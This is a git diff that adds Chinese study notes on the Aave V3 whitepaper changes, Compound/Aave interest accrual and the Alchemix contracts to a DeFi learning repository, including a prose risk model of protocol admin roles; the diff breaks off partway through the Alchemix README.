+在包括Aave V2在内的这一代流动性协议中，如果新增了一种资产，整个流动性池子都会对其暴露，这意味着用户可以用这个新资产作抵押借到整个流动性池子里的任意资产，这限制了Aave新增资产的自由度，因为这是一个风险很大的操作，隔离模式就是为了解决此问题诞生的。
+
+隔离模式允许协议以“隔离”的方式加入新资产，隔离资产有一个特有的债务上限(debt ceiling)，代表着可借的最大USD金额，精度为小数点后两位。使用隔离资产作为抵押的借款人只能使用该特定资产作为抵押，不能启用任何其他资产(包括其他隔离资产)。使用隔离资产的用户仍然可以通过其他资产的存款(supply)来产生收益。
+
+可以在隔离模式借出的资产用BORROWABLE_IN_ISOLATION这个flag标记，尽管设计上可以选择任何资产，但还是应该选择USD的稳定币。可在隔离模式借入的资产必须属于同一类别，否则债务上限(debt ceiling)的计算就会不一致。这种一致性不能在智能合约级别实现，治理团队在设置 BORROWABLE_IN_ISOLATION时应该小心。
+
+*Isolated assets*  
+任何一个债务上限(debt ceiling)大于0的都是隔离资产(和borrowcap不同，borrowcap是所有token都有的)
+
+*Adding isolated asset*     
+资产只能在没有人质押的时候才能设置为隔离资产（由checkNoSuppliers()执行检查）
+
+*Isolated collateral*
+使用隔离资产作为抵押品的用户将只被允许使用该资产作为抵押品
+
+*Supplying isolated*
+提供其他资产并将其用作抵押品的用户，仍然可以提供隔离资产以产生收益。当用户已经提供了其他非隔离资产并启用了这些资产作为抵押时，应该永远不可能启用隔离资产作为抵押
+
+*Exit isolation mode*
+用户可以通过禁用隔离资产作为抵押品来退出隔离模式。考虑到隔离资产的性质，只有当用户没有借款时才会发生这种情况
+
+*Removing asset from isolation mode* 
+授权实体可以随时把资产从隔离模式中移除
+
+*Debt ceiling* 
+如果达到隔离资产的债务上限，用户应被禁止借款(债务上限不包括随着时间的推移累积的利息，只包括借款的本金)
+
+### 4.3 精细借款能力控制
+
+精细借款能力控制设计包括常规流动性协议采用的方法，即把质押能力分割为LTV和清算阈值。在Aave V2里这个特性已经实现了，但是更倾向于是一种对抗借款者资不抵债的软性防护。
+
+举个例子：
+
+Alice 想用一个LTV=0，清算阈值>0的资产来借款。这本应是不可能的，但是Alice可以这样做：
+
+1. 存一个LTV>0的资产
+2. 存一个LTV=0的资产
+3. 借款
+4. 赎回LTV>0的资产
+
+这就会留下一个LTV=0质押物的头寸
+
+Aave V3引入了更严格的LTV规则，所以现在可以强制执行实际的0借贷能力，同时防止上述情况的发生。这种保护要求借款人使用多个资产作为抵押——其中一个资产的LTV == 0，要求借款人首先赎回这些资产，因此不能在那之前赎回LTV > 0的资产。在上面的例子中，在V3中，Alice将被允许执行最后一步，但要先取出LTV == 0的资产。因此V3完全避免了这种情况。一般来说，这种精细借款能力控制强制执行以下规则：
+
+- 用户可以抵押任何LTV >0, 清算阈值>0资产进行借款
+- 如果某个资产的LTV被重置为0，那么用户就不能再以该资产为抵押借款了。
+- 使用多种资产作为抵押的借款人，如果希望赎回，必须在赎回任何其他资产之前提取所有LTV=0的资产。取款和转账都是如此。不过，对于LTV不为0的资产，仍允许进行清算。
+- 对于希望提高借贷能力(接近清算阈值)的借款人来说，使用上述例子中解释的程序仍然是可以接受的。 $\Delta LTV$↔ 清算阈值对借款人是一种软保护，是一种平均降低清算风险的方法，但对该协议而言，清算阈值仍被认为是安全的。
+
+### 4.4 移除稳定利率预言机
+
+正如治理论坛上讨论的那样，新的利率策略实现了一种管理稳定利率(stable)的算法。
+
+在现在的实现里移除了稳定利率预言机转而使用利率策略，把最小的稳定欠款APR设置为 $slope_{v,1}+offset_{base}$。
+例如，对于一个 stable offset = 2%  的资产，在其最优利用率为 90% 时，其可变利率达到4%，那么其最小稳定利率将为 6%。然后使用 $slope_{s,1}$ 和 $slope_{s,2}$ 计算利率，如果 $O_{ratio}$ 在最佳范围外的话还要使用 $offset_{excess}$
+为计算稳定利率，设 $O_{util}$ 和 $O_{ratio}$ 分别为总负债率常数的最优利用率和最优稳定借款比例，则计算稳定利率公式如下:
+
+![图三](../image/figure3.jpg '图三')
+
+### 4.5 传送门
+
+传送门代表了一组核心功能，让Aave上的资产可以在不同链上自由转移，在顶层逻辑上很好理解：
+
+Aave协议利用aToken的独特设计在源网络上燃烧aTokens，同时在目标网络上铸造aTokens。然后，基础资产可以以一种延迟的方式提供给目标网络上的Aave，即在其通过跨链桥后将其传递给流动性池。但是这对计算利率和目标网络上的市场安全有许多影响。
+
+由于巧妙的设计，在协议层面实现这个只需要一个简单的方法。我们需要在协议加上三个特性：
+
+1. 铸造 “无担保(unbacked)”aToken
+2. “无担保(unbacked)”aToken扶正为正常aToken
+3. 为想要使用这些特性的合同提供白名单机制。
+
+除了这些特性，还需要增加与无支持aToken相关的利率计算和储备金计算。
+
+注意，铸造无担保aToken不会影响借款人的util(市场利用率，通常用于描述池子里借款与存款的比例，用来计算利率)，因为这一部分aToken没有加在流动性上(因为 $util_{v2} = util_{borrow}$)。但是它会加在存款者的uilt上，因为无担保aToken也是要生息的，这两部分的计算方法如下所示：
+
+![图四](../image/figure4.jpg '图四')
+
+
+
+如公式6所示，增加无担保aToken将降低supply利用率，从而降低流动性提供者赚取的利息，因为它们被铸造的代币稀释了。为了抵消这种利息稀释，无担保aToken对应的资产会通过增加liquidity index的方式提供一些费用支持。这个费用应该能覆盖铸造aToken产生的利息，所以为了让它满足弥补利息，应该满足以下条件：
+
+![图五](../image/figure5.jpg '图五')
+
+虽然利率计算在核心协议里，但是上述部分的计算是在核心协议以外实现的。由于延迟供应和这部分费用计算没有在协议里强制执行，就需要治理者对传送门的授权慎之又慎。为了避免无限铸造无担保aToken产生的风险，会给每一个资产加一个标记“unbackedMintCap”。
+
+### 4.6 价格预言机哨兵
+
+如3.2小节所述，Aave V3引入了一个价格预言机哨兵(Price Oracle Sentinel)来缓解在layer 2中可能出现的一些用户体验问题。
+
+**浅谈Layer2**
+
+目前的Layer2都是使用一个中心化的序列器产生块，然后用去中心化的方式验证(欺诈和有效性的证明)，以提高区块链的吞吐率。这种体系支持两种交易pending的队列，一种在链上，一种在链下，由sequencer操作。尽管sequencer可以使用两个队列的交易来出块，但是L1的pending事务通常可以推迟到某个截止日期，在此之后，用户可以强制执行一个操作，无论是zk-sync的包含模式还是退出模式。当sequencer遭遇停机的时候，这个“网络”就不会再更新状态了，没有新区块产生了。虽然仍然有可能将交易发送到pending的交易队列，但也没有什么会立即发生，链下的事务甚至可能被拒绝或删除，这取决于sequencer架构和停机的性质。
+
+
+
+对于Aave和其他使用预言机喂价机制的系统，这意味着在sequencer停机的时候无法更新数据。只要sequencer停机，整个价格体系里都会出问题。这种不确定性和“慢速缓存崩溃”的可能性，以及L2交易直接在L1排队的情况是大多数正常用户遇不到的，致使Aave V3在这些特定的情况下引入了清盘的宽限期。只要这个头寸没有严重的资不抵债(0.95 < HF < 1)，都会被设置一个宽限期。如果HF<0.95，就可以完全按照L1进行平仓。注意，这个宽限期只有在sequencer已经停机的情况下才会被激活。在宽限期内，用户也不允许借款。
+
+### 4.7 系统身份与风险模式
+
+Aave协议实现了一个访问控制列表，以区别每个身份的权利与收益。这些身份在ACLManager合约中进行管理。ACLManager跟踪各个身份和身份的持有者，并允许身份管理员管理身份。身份管理员本身是一个由DEFAULT_ADMIN_ROLE管理的身份。
+
+PoolAddressesProvider合约管理协议的各种组件(包括ACLManager和Pool)。PoolAddressesProvider跟踪各种协议模块，并有能力更新指针(例如更新ACLManager合约)或更新代理合约的实现(例如更新Pool的实现)。
+
+PoolAddressesProvider由Aave Governance拥有，并指定DEFAULT_ADMIN_ROLE的初始持有者。在以太坊以外的网络中，使用跨链桥(https://github.com/aave/governance-crosschain-bridges)，或者使用社区多签来管理PoolAddressesProvider。
+
+<big><big>**身份权责**</big></big>
+
+下面我们将概述这些身份的权责。FLASH_BORROWER和BRIDGE的直接责任很少，主要可以访问协议的特定特性，而管理员类型的身份有处理风险或配置参数的权力和责任。
+
+*FLASH BORROWER*
+拥有这个身份的人将会免除闪电贷的保费 
+
+*BRIDGE* 
+拥有这个身份的人可以执行 mintUnbacked() 和backUnbacked()
+
+*ASSET LISTING ADMIN* 
+拥有这个身份的人可以: 1.更新和回退资产的预言机源，2.给Aave市场增加新资产 
+
+*RISK ADMIN* 
+拥有这个身份的人可以:
+			1.更新预言机哨兵的宽限期；2.更新储备金参数，如保留金因子，上限，E-Mode类别，借款，冻结/解冻，LTV，清算阈值，清算激励(不能暂停/恢复或激活/停用储备金)。3.创建新E-Mode类别或者更新E-Mode(除了分类0)。4.更新无担保猪鼻新航线与流动性池fee率。
+
+*ACL ADMIN* 
+拥有这个身份的人可以管理ACLManager里的身份。
+
+*EMERGENCY ADMIN*
+拥有这个身份的人可以暂停和恢复资金池或者单个储备金。
+
+*POOL ADMIN*
+拥有这个身份的人可以更新token的实现，移除，暂停/恢复储备金以及*RISK ADMIN*和*ASSET LISTING ADMIN* 的所有权限
+
+<big><big>风险模式</big></big>
+
+下面概述潜在危害。由作恶的参与者引起，假如该参与者拥有这些身份之一：
+
+*ORACLES* 
+恶意的预言机可能会提供一个无效的价格，允许它借更多的钱，或者根据无效的价格进行清算。
+
+*SEQUENCER*
+
+*FLASH BORROWER*
+如果这个地址是一个proxy，任何人都可以通过它来申请闪电贷，从而免除所有费用。这将导致闪电贷不会给流动性提供者带来手续费。
+
+*BRIDGE*
+如果拥有这一身份的合约/地址变得恶意(或有缺陷)，它可能会累积到无担保上限，并且永远不会扶正它，从而实际上允许它从流动性提供者那里窃取利益。
+
+*ASSET LISTING ADMIN*
+攻击者可以更新预言机源，使协议处于与恶意预言机相同的状态。或者攻击者可以列出具有恶意aToken(或debt token)实现的资产，允许他们取出用这些资产质押所借出的任何资金。
+
+*RISK ADMIN*
+攻击者可以将清算阈值降为0并清算用户。这可以在同一个交易里中自动完成。
+
+*EMERGENCY ADMIN*
+攻击者可以暂停安全的池子，也可以恢复不安全的池子。在市场崩溃的时候，攻击者可以关闭池子，然后自动执行顺序(打开-清算-关闭)，让他成为唯一的清算人。
+
+*POOL ADMIN*
+这个攻击者可以实现*RISK ADMIN*和*ASSET LISTING ADMIN*的所有攻击方式，或者可以更改一个token的实现方式。
+
+*ACL ADMIN*
+这个人可能给自己任意其它身份进行攻击
+
+*ADDRESSES PROVIDER*
+要是这个身份是恶意的那就彻底玩完了
+
+Aave governance会对控制这些潜在攻击，当治理团队将身份赋予特定的参与者时，它应该使用中间件合约来限制参与者的权限操作。例如，对于ASSET LISTING ADMIN拒绝更改现有oracle，只允许添加。
diff --git a/defi/Aave/whitepaper/AAVE_v3_Changes.md b/defi/Aave/whitepaper/AAVE_v3_Changes.md
new file mode 100644
index 000000000..b127b4bbd
--- /dev/null
+++ b/defi/Aave/whitepaper/AAVE_v3_Changes.md
@@ -0,0 +1,122 @@
+AAVE v3的代码已经经过审计，且已经开源，合约地址是：
+
+https://github.com/aave/aave-v3-core
+
+# 功能
+相对于V2，V3的主要功能如下:
+
+- Portal
+- 高效模式 eMode
+- 隔离模式
+- 改进风险管理
+- L2 特色功能
+- 社区贡献
+
+## 基于社区反馈的技术进步
+尽管 Aave 协议在过去两年中运行有效并取得了巨大的增长，社区的贡献为AAVE的技术进步提供了非常关键的作用：
+
+- 资本效率：V2 不允许用户在收益产生（协议内和/或跨协议部署在各种网络上）或借贷能力方面优化他们提供给 Aave 协议的资产。V3 解决了这个问题。
+
+- 风险控制调整：虽然 Aave 协议目前具有可以通过 Aave 治理由社区激活的风险控制功能，例如调整借贷能力和维持保证金，但附加功能可以提高 Aave 协议智能合约固有的众所周知的安全性。V3 解决了这个问题。
+
+- 去中心化： Aave治理稳健且蓬勃发展——通过社区成员提交提案和创建子 DAO（GrantsDAO 和 RiskDAO）。但为了最大限度地去中心化，某些技术特性将允许 Aave 治理通过委托给团队或其他个人来进一步去中心化其功能。
+
+- 跨链：通过社区的努力，Aave 协议已部署在许多网络中，每个网络都有对应的流动性。但是用户无法将自己的个人流动性从一个网络上无缝转移到另一个网络。V3 解决了这个问题。
+
+V3 的设计旨在创建下一代第 0 层 DeFi 协议，该协议可以显着改善用户体验，同时提供更高的资本效率、更高程度的去中心化和进一步增强的安全性。
+
+## Portal
+
+Portal示意图：
+
+![portal](https://aws1.discourse-cdn.com/standard21/uploads/aave/original/2X/5/57f9135e675f1ed5637491be6facec13f0c26883.jpeg)
+
+portal模式可以让用户在多个网络之间无缝转移资产。例如，用户可以在ETH上burn aToken，然后在polygon上mint出来。类似于其他的跨链，不清楚技术原理
+
+## 高效模式 eMode
+
+eMode 示意图:
+
+![emode](https://aws1.discourse-cdn.com/standard21/uploads/aave/original/2X/9/922d53c2b37505e9a368fca3960044d620225725.jpeg)
+
+简单举个例子就是，在eMode下，你质押wBTC，只能借出renBTC，这时，你的质押率可以达到97%，清算线为98%, 然后清算罚金率为2%。也就是在同类资产借贷时，提高了资金利用率，同时降低了风险。
+
+原理是把资产归类(category)，最多可以有255个类别。
+
+例如第一类为稳定币，这个category有USDT，USDC，DAI, 用户甲在这个模式下借贷时，例如存USDC，借DAI，可以有97%的LTV，而普通模式只有75%，这样用户甲的资金利用率就提高了22%
+
+当然，用户依然可以使用非category 1的资产作为抵押，但非category 1的资产的LTV就只能适用普通模式的LTV
+
+## 新的风险管理参数
+
+**隔离模式**
+![Isolation Mode](https://aws1.discourse-cdn.com/standard21/uploads/aave/original/2X/e/e9ee63faffa5fa6252898e31c0ef8d8e103180d5.jpeg)
+
+隔离模式的目标是允许 Aave 治理协议上新币时，降低风险
+
+当社区成员提交治理提案以在 Aave市场上创建新资产时，该提案将该资产列为“隔离抵押品”，存入这些“隔离”资产的用户只能借出 Aave 治理指定的稳定币，且借款额不能高于指定的债务上限。
+
+当用户提供“隔离资产”作为抵押品时，该用户只能将该资产用作抵押品；即使用户向协议提供其他资产，用户也只能从这些资产上赚取利息，而不能将这些资产用作抵押品。
+
+
+## bug悬赏及riskDao
+
+riskDao: 
+https://governance.aave.com/t/proposal-aave-risk-dao/4729
+
+# 其他特性
+
+- 涉及代币转移（例如，供应、偿还）的功能支持 EIP 2612 许可（对于 L2 部署很重要）；
+
+- 支持 EIP 712 签名；
+
+- 用户可以使用aTokens代替原来借入的标的资产来偿还借入的头寸；
+
+- Aave Governance 可以“允许”实体访问即时流动性；???（Aave Governance can “permitlist” entities to access instant liquidity;）
+
+- Aave 治理可以重新配置向 Aave DAO 财政部提供的清算或即时流动性交易的任何费用；
+
+- 新的 flashloanSimple 可减少高达 20% 的gas消耗（标准的全功能函数仍然可用）；
+
+- 价格预言机逻辑可以提供对基础资产的通用计算（即不再仅限于 ETH）；
+
+- 新的利率策略优化了稳定的利率计算（并且无需贷款利率预言机）；
+
+- 代码重组以更加模块化；与 V2 单一存储库相比，V3 代码将分为三个不同的存储库——V3 core, V3 periphery, V3 deployments。这有助于社区贡献和在不同网络上的部署；
+
+- 智能合约重构以减少代码大小（为未来的其他更改提供更多余量）→ 最多 100K 优化器运行！
+
+有了所有这些新功能，所有功能的 gas 成本仍然全面下降了 10-15% 左右！
+# 代码
+
+注: 这部分是我粗略浏览一遍v3后的感受。
+
+0. gas 费优化
+solidity的版本升级为0.8.10，核心几个的Math都已经重写，大部分使用了assembly来节省手续费
+
+1. 功能增加
+- emode
+- isolation
+
+2. 命名改变
+例如：
+- deposit命名为supply
+- LendingPool.sol 命名为 Pool.sol, 等
+- 核心业务逻辑全部移到 libraries/logic 目录中 (之前只有利率计算, validation的逻辑在 libraries/logic 目录中，包括新增的 emode，isolation，bridge)
+
+3. 外围功能单独 repo
+类似于uniswap，有一个单独的 periphery 仓库。此外，deployment 好像也是一个单独的仓库，在安装`aave-v3-core`依赖时，会安装一个`@aave/deploy-v3`的包，但这个包目前找不到，issue在此：https://github.com/aave/aave-v3-core/issues/625
+
+4. 协议变更
+如果要fork AAVE v3的同学注意了，这个协议好像类似于 `uniswap v3`的协议，具体可以去研究一下: https://github.com/aave/aave-v3-core/blob/master/LICENSE.md
+
+(注: 不过好像大家fork的都是compound，很少有项目fork AAVE ^_^)
+
+
+5. 核心架构上变动不多
+
+# 参考资料
+
+https://governance.aave.com/t/introducing-aave-v3/6035
+
+https://github.com/aave/aave-v3-core
diff --git a/defi/Aave/whitepaper/Aave_V1_Whitepaper.pdf b/defi/Aave/whitepaper/Aave_V1_Whitepaper.pdf
new file mode 100644
index 000000000..4c161808d
Binary files /dev/null and b/defi/Aave/whitepaper/Aave_V1_Whitepaper.pdf differ
diff --git a/defi/Aave/whitepaper/aave-v2-whitepaper.pdf b/defi/Aave/whitepaper/aave-v2-whitepaper.pdf
new file mode 100644
index 000000000..57b604736
Binary files /dev/null and b/defi/Aave/whitepaper/aave-v2-whitepaper.pdf differ
diff --git a/defi/Aave/whitepaper/interest.md b/defi/Aave/whitepaper/interest.md
new file mode 100644
index 000000000..187e95a76
--- /dev/null
+++ b/defi/Aave/whitepaper/interest.md
@@ -0,0 +1,40 @@
+## 原理
+「存入」、「取回」、「借出」、「偿还」、「利率调整」、「清算」这是触发DeFi借贷系统最主要的六项事件。
+由于DeFi借贷系统基于去中心化的智能合约来运行，没有一个中心化的数据库来记录用户存入/取回/借出/偿还的时间，因此通常使用以太坊网络区块高度作为时间标记来更新一个资金池的利率指数Index，当「六项事件」中的任何一个事件触发时，该资金池的Index指数便会随之更新（Indexn = Indexn-1 * r），同时根据算法计算出系统动态的「存款利率」与「借款利率」，并更新相关的用户侧利息数据。
+
+- 存入  
+
+存款凭证通常以同质化代币的方式向DeFi存款用户发放，这里又有两种不同的设计方案，以Compound为代表的DeFi借贷系统发放与存款本息额等值的凭证代币cToken，通过凭证代币与基础存款资产的汇率升值的方式来支付利息，另一种是以AAVE为代表的DeFi借贷系统发放与存款本息额等量的凭证代币aToken，通过增加凭证代币数量的方式来支付利息。
+
+- 清算
+
+清算过程涉及到DeFi借贷系统中重要的概念，即账户的健康因子（又称：健康指数），前面有提过到存款权益的确权是基于凭证的，而健康因子则与账户的借款额、抵押物相关，具体用公式表述为：
+健康因子 = ∑(抵押物*清算阈值)/(借款额+借款利息)
+
+清算有两种常见的方式，一种是直接将借款人的部分抵押物以一定的折价通过合约挂单出售，允许任何用户代替借款人偿还债务后立即转售进行套利，另一种方式是从底价开始，以逐步加价的方式公开将抵押物进行拍卖。
+
+
+**comp vs aave**  
+
+让我们深入了解一下Compound和cTokens的机制。
+
+一个用户向Compound存入10 ETH。为了换取10个ETH，Compound会发行cTokens，本例中是cETH。
+用户将收到多少个cETH代币？这取决于该ETH市场当前的汇率。当创建一个新市场时，cTokens和基础代币之间的汇率被设置为0.02。这是一个任意数字，但我们可以假设每个市场的初始汇率为0.02，这个汇率只能随着每个Ethereum区块的增加而增加。
+
+如果用户在市场刚刚创建时提供了10个ETH，他们将收到10/0.02=500个cETH。ETH市场已经运行了一段时间后，我们可以假设这个汇率已经比较高了，比如说是0.021。
+
+这意味着用户将收到10/0.021=~476.19 cETH。如果用户决定立即赎回他们的ETH，他们应该收到与存入时大致相同的金额，也就是10 ETH左右。
+
+用户的cETH只是另一个ERC20代币，它跟一般ERC20代币的主要区别是，从Compound赎回ETH必须使用cETH；最重要的是，cETH一直在积累利息，即使它从发起存款的原始钱包被发送到另一个钱包。
+
+随着每个新的Ethereum区块出来，汇率都会增加。涨幅取决于存款APY，而APY是由存款/借款资金比例决定的。
+
+在刚才例子中，假设从cETH到ETH的汇率随着每个区块增加0.0000000002。假设涨幅在一个月内保持不变，我们可以很容易地计算出这段时间内可以获得的利息。
+
+假设平均每分钟有4个区块： 0.0000000002*4*60*24*30=0.00003456，把这个数字加上之前的汇率：0.021+0.00003456=0.02103456.
+
+如果用户决定赎回ETH，他们将收到476.19*0.0213456=~10.0165 ETH。因此，用户在一个月内赚到了0.0165 ETH，约为0.16%的ETH回报。值得注意的是，用户最初收到的cETH数量没有变化，只是汇率的变化让用户兑换的ETH比最初存入的多。
+Aave使用了类似的模式，每一个区块都会累积利息。主要区别在于，aToken的价值与基础代币的价值以1:1的比例挂钩。利息是通过不断增加钱包余额直接分配给aToken持有者的，aToken持有者也可以决定将利息支付流转到另一个Ethereum地址。
+
+//todo
+参考文档: https://docs.qq.com/doc/DQ2FwVkJlUlZRVERW  
diff --git a/defi/Alchemix/.env.example b/defi/Alchemix/.env.example
new file mode 100644
index 000000000..67b793141
--- /dev/null
+++ b/defi/Alchemix/.env.example
@@ -0,0 +1,2 @@
+PRIVATE_KEY=xxxxxxxxxxxxxxxx
+INFURA_ID=yyyyyyyy
\ No newline at end of file
diff --git a/defi/Alchemix/.gitignore b/defi/Alchemix/.gitignore
new file mode 100644
index 000000000..03944dc45
--- /dev/null
+++ b/defi/Alchemix/.gitignore
@@ -0,0 +1,6 @@
+node_modules
+.env
+
+#Hardhat files
+cache
+artifacts
diff --git a/defi/Alchemix/README.md b/defi/Alchemix/README.md
new file mode 100644
index 000000000..899ab00d6
--- /dev/null
+++ b/defi/Alchemix/README.md
@@ -0,0 +1,158 @@
+## 介绍
+
+Alchemix 是一个允许创造合成资产代币 al-token（这些代币表示存款的未来收益）的 DeFi 协议. Alchemix 可以让用户近乎即时取回部分临时质押的稳定币的代币价值, 解决质押资产流动性的问题. 此协议承载了一类强大的新品种 DeFi 原型, 同时提供给用户和开发者无数的应用和全新的工具.
+
+Alchemix 主打具有竞争力的高收益率, 用户可以用从越来越多的高收益策略中进行选择以偿还债务: 并且没有清算风险, 无论发生什么情况, Alchemix 都不会清算用户的存款, 并且用户将拥有完整的访问权限; 低维护成本, 用户提取自己的美元之后允许自己偿还贷款.
+
+PS: 为方便代码测试, 请在 .env 中放入的私钥 和 INFURA_ID，样例文件可参考 .env.example
+
+## 业务逻辑介绍
+
+- 场景 1: 质押资产 && alUSD 合成  
+  用户 A 质押了 100 Dai 到 Alchemist 中, 这是用户就可以去合成最多 50 的 alUSD. 同时, Alchemist 会自动把用户质押的资产放到 Yearn 中去赚取收益.
+
+- 场景 2: Yearn 收益分配  
+  场景 1 中的用户质押 100 Dai 过了一个月后, Yearn 收益了 10 Dai, 这里以只有用户 A 为例; 如果还有其他用户, 那么收益就会按照份额进行分摊.  
+  这里, Alchemist 收益了 10 Dai 后, 会转入 Transmuter 中. 然后在用户的个人信息中增加信用额度值 ( credit += 10 ).  
+  正常情况下, 因为用户 A 只质押了 100 Dai , 他只能合成 50 alUSD, 但因为现在用户 A 的 credit 为 10, 那么他总共可以合成 60 alUSD.  
+  这里我们可以注意到, Alchemist 没有把 Yearn 产生的收益分配给用户, 而是作为提高合成 alUSD 的额度发放给用户. 现在用户 A 拿着 60 alUSD 除了归还外, 无法产生任何收益, 即不能把 alUSD 转换为 Dai.
+
+- 场景 3: alUSD 质押  
+  在场景 2 中, 我们了解到 Yearn 的收益可以增加合成 alUSD 的额度, 那么这个 alUSD 有什么用呢 ？ 继续场景 2 的话题, 假设用户总共合成了 60 的 alUSD, 其中 50 alUSD 是 100 Dai 的额度,
+  另外 10 alUSD 是 Yearn 收益产生的额度. 现在用户 A 把这 60 个 alUSD 存入 Transmuter; 注意当用户 A 存入 60 alUSD 的时候, Transmuter 会计算当前 Transmuter 中质押 alUSD 用户的收益.
+  用户 A 存入 60 alUSD 的时候, Transmuter 发现从 Yearn 收入 10 Dai 的收益到用户 A 存入 60 alUSD 这段时间内, Transmuter 中没有用户质押 alUSD, 那么从 Yearn 收益的 10 Dai 不会分配给任何用户.
+
+- 场景 4: alUSD 转换  
+  用户 A 在 Transmuter 中存入了 60 alUSD 后过了一个月时间, Yearn 又产生了 80 Dai 的收益. 当 Yearn 把这 80 Dai 的收益存入 Transmuter 的时候, 发现 Transmuter 中质押了 60 alUSD, 那么每一份 alUSD 可以获得 profit = 80 / 60 = 1.33 , 那么用户 A 所获的的收益是 1.33 \* 60 = 80 > 60 , 此时 Transmuter 会把用户 A 的收益设置为 60, 等同于用户质押的 alUSD 数量. 然后记录用户 A 可转换的 alUSD 数量为 60, 即 transferAmount = 60. 此时用户 A 才可以用 alUSD 去兑换 Dai , 可兑换的最大数量为 60
+
+## 主要合约及函数功能说明
+
+### Alchemist.sol 合约
+
+主逻辑合约, 也是用户交互的主合约. 用户存入稳当代币到这个合约后, 可以进行后续的操作.
+
+- constructor(IMintableERC20 \_token, IMintableERC20 \_xtoken,address \_governance, address \_sentinel)
+
+  - \_token 为用户存入的资产 Token , 比如 daiToken
+  - \_xtoken 为生成合成资产的 Token 地址, 这里对应为 alUSD
+  - \_governance 为 dao 治理合约地址
+  - \_sentinel 哨兵地址, 拥有在必要的时候打开紧急开关的权限
+
+- deposit  
+  用户存入资产时调用的接口. 具体对应的场景为, 比如用户存入 100 daiToken, Alchemix 使用用户存入的这 100 daiToken 去创造收益后, 之后把对应的收益分给用户
+
+- withdraw  
+  提取之前存入的资产. 比如用户先调用了 deposit 存入 100 daiToken, 之后调用 withdraw 取回存入的 100 daiToken.
+
+- mint  
+  生成 Alchemist 的合成资产 alUSD. 这里 alUSD 和用户存入的资产价值是 1:1 的关系, 但用户最多只能生成 1/2 价值的存入资产.
+  比如用户存入了 100 daiToken, 调用这个接口后, 最多可以生成 50 alUSD. 之后无论何时用户都可以使用这 50 alUSD 换取 50 daiToken.
+
+- repay(uint256 \_parentAmount, uint256 \_childAmount)  
+  用户偿还负债的接口. 用户如果调用 deposit 接口, 是不会产生负债的. 但是当用户调用了 mint 接口生成 alUSD 后, 就会产生负债. 比如用户 deposit 100 daiToken, 然后
+  调用 mint 接口生成 50 alUSD, 那么用户就用户 50 alUSD 的负债. 当用户想取回存入的 100 daiToken 时, 需要先偿还 alUSD, 这里既可以使用 alUSD 偿还, 也可以使用用户
+  存入的资产 daiToken 进行偿还. - \_parentAmount: 用户使用原始资产进行负债偿还的数量  
+   - \_childAmount: 用户使用 alUSD 进行负债偿还的数量
+
+- liquidate  
+  使用抵押品进行负债偿还. 这个接口和 repay 功能类似, 也是用于偿还债务的, 不过这里它进行偿还时, 是使用的抵押品进行偿还的.
+  比如, 用户调用存入 100 daiToken, 然后生成 20 alUSD. 当用户调用 liquidate 接口, 传入参数为 20 时, Alchemist 会在该用户的负债中减去 20 ( 用户负债变为 0 , 但该用户依然持有 20 alUSD ).
+  然后再把用户的总存入资产减去 20 ( 变为 80 daiToken ), 然后把这 20 daiToken 转入 Transmuter 合约中 ( 后面会介绍 Transmuter 合约作用 ).
+
+- harvest  
+  收获收益. 用户存入资产到 Alchemist 后, Alchemist 会把这些资产使用 Yearn 去赚取收益, 然后再把相应的收益进行分摊. 比如, 所有用户总共存入 100 daiToken, 调用 harvest 接口后, 发现截止当前, Yearn 产生的总收益为 30 daiToken, 那么这 30 daiToken 会转入 Transmuter 中, 同时 Yearn 总的收益累积为 "currentAccumulatedYieldWeight = lastAccumulatedYieldWeight + 0.3";
+
+- 用户收益计算  
+  用户存入资产到 Alchemist 的时候, Alchemist 会给每个用户记录一个用户信息 ( 使用 \_cpd 表示 ), 保留用户总的资产存入值, 负债值等信息, 同时 Alchemist 会记录 Alchemist 总的收益累积 ( 使用 \_ctx 表示).
+  比如用户 A 存入 100 daiToken, 对应 \_cpd_A.lastAccumulatedYieldWeight 值为 0 , 用户 B 存入 20 daiToken, 对应 \_cpd_B.lastAccumulatedYieldWeight 值为 0 . 1 个月后, Alchemist 产生收益为 24 daiToken, 此时  
+  \_ctx.accumulatedYieldWeight = 24 / （100 + 20 ) = 0.2;  
+  当用户 A 触发 deposit 或是 withdraw 时, 计算得到  
+   \_cpd_A.totalCredit  
+  = (\_ctx.accumulatedYieldWeight - \_cpd_A.lastAccumulatedYieldWeight) _ \_cpd_A.totalDeposited
+  = (0.2 - 0) _ 100  
+  = 20
+
+更新 \_cpd_A.lastAccumulatedYieldWeight = \_ctx.accumulatedYieldWeight.
+
+同理, 用户 B 计算收益得到  
+ \_cpd_B.totalCredit  
+= (\_ctx.accumulatedYieldWeight - \_cpd_B.lastAccumulatedYieldWeight) _ \_cpd_B.totalDeposited
+= (0.2 - 0) _ 20  
+= 4
+
+更新 \_cpd_B.lastAccumulatedYieldWeight = \_ctx.accumulatedYieldWeight  
+之后, \_cpd_B.totalCredit ( 或是 \_cpd_A.totalCredit ) 可以用于用户的 mint
+
+```shell
+## 用户信息结构体
+struct Data {
+    uint256 totalDeposited;
+    uint256 totalDebt;
+    uint256 totalCredit;
+    uint256 lastDeposit;
+    FixedPointMath.FixedDecimal lastAccumulatedYieldWeight;
+  }
+
+## 总收益
+struct Context {
+    FixedPointMath.FixedDecimal collateralizationLimit;
+    FixedPointMath.FixedDecimal accumulatedYieldWeight;
+  }
+```
+
+### Transmuter.sol 合约
+
+- distribute  
+  这个接口由 Alchemist 合约调用, 用于向 Transmuter 合约中存入代币.  
+  例如, 当用户清算了 50 daiToken, 或是收益了 50 daiToken 后, 就会向此 Transmuter 合于中转入 50 daiToken, 后续其他用户就可以通过 transmuter 接口把 alUSD 转换为 daiToken.
+
+- stake  
+  用户质押 alUSD 到 Transmuter 合约中, 用于换取真正的 daiToken 收益.  
+  比如用户用户质押了 100 alUSD, 那么后续随着 Transmuter 中存在的 daiToken 越多, 那么用户的收益也会越多, 最终可以把 100 alUSD 全部转化为 daiToken 进行提取.
+
+- unstake  
+  和 stake 相反的操作, 表示用户从 Transmuter 合约中提取 alUSD.
+
+- transmuter & claim  
+  用户根据质押的 alUSD 产生的 daiToken 收益后, 就可以把相应的收益进行提取.  
+  比如用户质押了 100 alUSD, 产生了 10 daiToken 的收益, 那么用户调用 transmuter 接口就可以把这个 10 daiToken 进行释放, 然后使用 claim 接口进行提取.  
+  但是如果用户质押了 100 alUSD, 产生了 110 daiToken 的收益, 那么用户也只能提取 100 daiToken, 多出来的 10 daiToken 的收益会重新分配给 Transmuter 中所有质押 alUSD 的用户, 相当于用户损失了 10 daiToken.
+
+- 用户收益计算  
